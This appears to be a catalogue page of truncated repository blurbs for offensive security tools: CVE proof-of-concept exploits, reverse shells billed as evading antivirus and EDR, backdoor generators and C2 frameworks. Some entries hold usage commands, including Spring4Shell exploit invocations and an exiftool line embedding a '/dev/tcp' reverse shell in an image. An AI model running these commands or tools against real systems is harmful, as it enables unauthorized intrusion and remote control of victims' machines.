AirBorne-PoC

AirBorne PoC Framework – Elite RCE Edition Full PoC Framework for CVE-2025-24252 & CVE-2025-24132 By ekomsSavior | AirBorne is a combined proof-of-concept PoC framework targeting two serious vulnerabilities in Apple's AirPlay service. It includes a full crash trigger and a working reverse shell...

nim-shell

Nim-Shell Reverse shell that can bypass EDR and windows defender detection Please do not upload to VirusTotal 𝗜𝗡𝗦𝗧𝗔𝗟𝗟𝗔𝗧𝗜𝗢𝗡 𝗜𝗡𝗦𝗧𝗥𝗨𝗖𝗧𝗜𝗢𝗡𝗦 $ apt install nim Compilation nim c -d:mingw --app:gui nimshell.nim Change the IP address and port number you want to listen to in the nimshell.nim file accordin...

CVE-2022-39952

CVE-2022-39952 POC for CVE-2022-39952 affecting Fortinet FortiNAC The default configuration of this exploit writes a cron job to create a reverse shell. Be sure to change the payload file to suite your environment. Technical Analysis A technical root cause analysis of the vulnerability and...

chipsec

CHIPSEC: Platform Security Assessment Framework CHIPSEC is a framework for analyzing the security of PC platforms including hardware, system firmware BIOS/UEFI, and platform components. It includes a security test suite, tools for accessing various low level interfaces, and forensic capabilities...

spring4shell-CVE-2022-22965

Simple Spring4Shell POC Check if endpoint is vulnerable python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting --check Exploit vulnerable endpoint python spring4shell.py -u http://192.168.110.117:8080/helloworld/greeting -f shell.jsp --exploit Execute command on uploaded webshe...

tomcatWarDeployer

tomcatWarDeployer Apache Tomcat auto WAR deployment & pwning penetration testing tool. What is it? This is a penetration testing tool intended to leverage Apache Tomcat credentials in order to automatically generate and deploy JSP Backdoor, as well as invoke it afterwards and provide nice shell...

qsreplace

qsreplace Accept URLs on stdin, replace all query string values with a user-supplied value, only output each combination of query string parameters once per host and path. Usage Example input file: ▶ cat urls.txt https://example.com/path?one=1&two=2 https://example.com/path?two=2&one=1...

Salsa-tools

/ / / / / / / / \ / / / / / / / / / / / / / / // / // / / / / // / // / //,///,/ // //// Salsa Tools - An AV-Safe Reverse Shell dipped on bellota sauce Salsa Tools is a collection of three different tools that combined, allows you to get a reverse shell on steroids in any Windows environment...

CVE-2025-56383

Vulnerability Attack Type: DLL Hijacking DLL Hijacking Target Application: Notepad++ Method: The NppExport.dll file is loaded by Notepad++ from the working directory Implementation The malicious DLL contains: Exported functions of the original library to ensure compatibility Reverse shell...

meterpeter

Author: @r00t-3xp10it Version release: v2.10.14 Distros Supported: Windows x86|x64, Linux Inspired in the work of: '@ZHacker13 - ReverseTCPShell' :octocat: Quick Jump List Project Description List Of Available Modules Meterpeter C2 Latest Release How To - Under Linux Distributions How To - Under...

CVE-2021-44967

CVE-2021-44967: LimeSurvey authenticated RCE Proof of concept for CVE-2021-44967. The script authenticates to LimeSurvey, uploads and activates a PHP plugin, and triggers a reverse shell. Use this only against systems you own or are authorized to test. Requirements Python 3 beautifulsoup4,...

CVE-2021-44228

CVE-2021-44228 Log4Shell Proof of Concept CVE-2021-44228 Make sure to use Java 8 JDK. Java 8 Download Images Credits Casey Dunham - Java Reverse Shell kozmer - Initial PoC Legal The author of this script does NOT take any responsibility of how this piece of code is used! This was created solely...

JSShell

JSShell 2.0 An interactive multi-user web based javascript shell. It was initially created in order to debug remote esoteric browsers during experiments and research. This tool can be easily attached to XSS Cross Site Scripting payload to achieve browser remote code execution similar to the BeeF...

winspy

WinSpy winspy : Windows Reverse Shell Backdoor Creator With ip poisener Dependencies 1 - metasploit-framework 2 - xterm 3 - apache2 Installation sudo apt-get install git git clone https://github.com/TunisianEagles/winspy.git cd winspy chmod +x setup.sh ./setup.sh chmod +x winspy.sh ./winspy.sh...

paint2die

Simplest and most reliable RichFaces Paint2DResource CVE-2018-12533 RF-14310 exploit Installation • Usage • Running Paint2Die Installation Instructions git clone https://github.com/LucasKatashi/paint2die.git cd paint2die chmod +x paint2die.py pip install -r requirements.txt Usage ./paint2die -h...

CVE-2025-24893-PoC

CVE-2025-24893-PoC XWiki Unauthenticated RCE Exploit Affected XWiki Versions Versions 15.10.11 Versions 16.4.1 Versions 16.5.0RC1 Vulnerability Description Affected XWiki versions contain a Remote Code Execution vulnerability caused by unsafe Groovy expression handling in the SolrSearch macro...

CVE-2023-24610

CVE-2023-24610 This is a proof of concept for CVE-2023-24610 We start by creating a polyglot file using exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php We change the file to png so it will pass the front-end check After that, we start a nc listener on port 8888 ...

secbutler

Essential utilities for pentester, bug-bounty hunters and security researchers Features • Usage • Installation • License • secbutler is a utility tool made for pentesters , bug-bounty hunters and security researchers that contains all the most used and tedious stuff commonly used while performing...

HTTP-revshell

Powershell HTTP/S Reverse Shell HTTP-revshell is a tool focused on redteam exercises and pentesters. This tool provides a reverse connection through the http/s protocol. It uses a covert channel to gain control over the victim machine through web requests and thus evade solutions such as IDS, IPS...

cve-2015-1538-1

Included is a python script that generates an MP4 exploiting the ‘stsc’ vulnerability otherwise known as CVE-2015-1538 1. This is one of the most critical vulnerabilities I reported in the Stagefright library. The expected result of the exploit is a reverse shell as the media user. As detailed in...